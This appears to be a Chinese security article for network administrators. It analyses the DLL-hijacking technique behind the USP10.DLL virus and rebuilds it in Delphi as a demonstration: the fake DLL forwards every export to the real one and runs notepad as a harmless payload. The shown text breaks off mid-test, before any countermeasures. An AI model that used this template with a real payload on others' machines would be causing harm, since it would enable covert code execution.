近期网络机房电脑大范围报毒,病毒文件为“USP10.DLL”,该病毒繁殖能力强,很容易 复发。在分析此病毒后,发现该病毒利用的漏洞正是被业界称为“末日漏洞”的DllHijack 漏洞(DLL 劫持漏洞),此漏洞影响较大,很多病毒都采取这种技术攻击用户电脑,让广大 网管员们头痛不已。本文深入分析了该漏洞的形成原理并通过编写攻击文件验证此漏洞的危 害,最后提出应对方案,希望对朋友们有所帮助。 一、DLL 劫持漏洞原理与攻击文件构造 1、原理分析 当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加 载器分析可执行模块的输入表,并设法找出任何需要的 DLL,并将它们映射到进程的地址空 间中。 由于输入表中只包含DLL 名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL 文件。而这里DLL 文件的搜索顺序遵循以下顺序: (1)可执行程序加载的目录 (2)系统目录 (3)16位系统目录 (4)Windows目录 (5)文档运行目录 (6)PATH环境变量中列出的目录 这个就是 windows 系统的目录优先权。利用这个特点,攻击者先伪造一个系统同名的DLL, 提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前 目录下伪造的DLL,完成相关功能(恶意代码或程序补丁)后,再跳到系统DLL 同名函数里 执行。这个过程用个形象的词来描述就是系统DLL被劫持(Hijack)了。 2、攻击文件构造 了解了DLL 劫持具体原理后,就让我们来动手编写攻击文件,再现USP10.DLL病毒。 测试环境:Windows XP SP3 5.1.2600 Service Pack 3 Build 2600 编程环境:Delphi 2007 工具软件:ViewDLL,进程查看器 (1)用Delphi 2007 新建一个DLL工程命名为USP10。 (2)运行ViewDLL软件,加载系统目录下的正常 USP10.DLL文件,记下该 DLL 文件的 所有导出函数名。(图1) ![]() (3)用 Delphi 2007编写代码,构造与真正USP10.DLL文件相同的导出表,完成所有 导出函数的转发,编写攻击代码。 这里只是做演示,所以攻击代码只是简单的运行一个程序: WinExec('notepad.exe',sw_normal); //运行记事本程序 篇幅原因以下只列出关键代码。 ①定义转发目标指针: var POldLpkPresent: Pointer; POldScriptApplyDigitSubstitution: Pointer; POldScriptApplyLogicalWidth: Pointer; ...... ②填充转发指针: ModHandle:= LoadLibrary('C:\WINDOWS\system32\usp10.dll'); if ModHandle > 0 then begin POldLpkPresent:= GetProcAddress(ModHandle, 'LpkPresent'); POldScriptApplyDigitSubstitution:= GetProcAddress(ModHandle,'ScriptApplyDigitSubstitution'); POldScriptApplyLogicalWidth:= GetProcAddress(ModHandle,'ScriptApplyLogicalWidth'); ...... ③完成转发过程: procedure LpkPresent; asm jmp POldLpkPresent end; procedure ScriptApplyDigitSubstitution; asm jmp POldScriptApplyDigitSubstitution end; procedure ScriptApplyLogicalWidth; asm jmp POldScriptApplyLogicalWidth end; ...... ④构造导出表: exports LpkPresent, ScriptApplyDigitSubstitution, ScriptApplyLogicalWidth, ...... 完成整个模板编写后就可以把攻击代码加入执行过程完成测试文件的构造了。 这里要注意的是在调用函数完成攻击过程时不可用到所劫持DLL 导出的函数,也就是如 果要劫持 USP10.DLL文件,那就不能用USP10.DLL所提供的任何函数。 (4)测试攻击效果 测试 EXE 文件选用系统自带的计算器程序CALC.EXE,把编译好的USP10.DLL文件拷贝 到和 CALC.EXE同一目录下,运行CALC.EXE,这时你会发现不光是运行了计算器程序,记事 |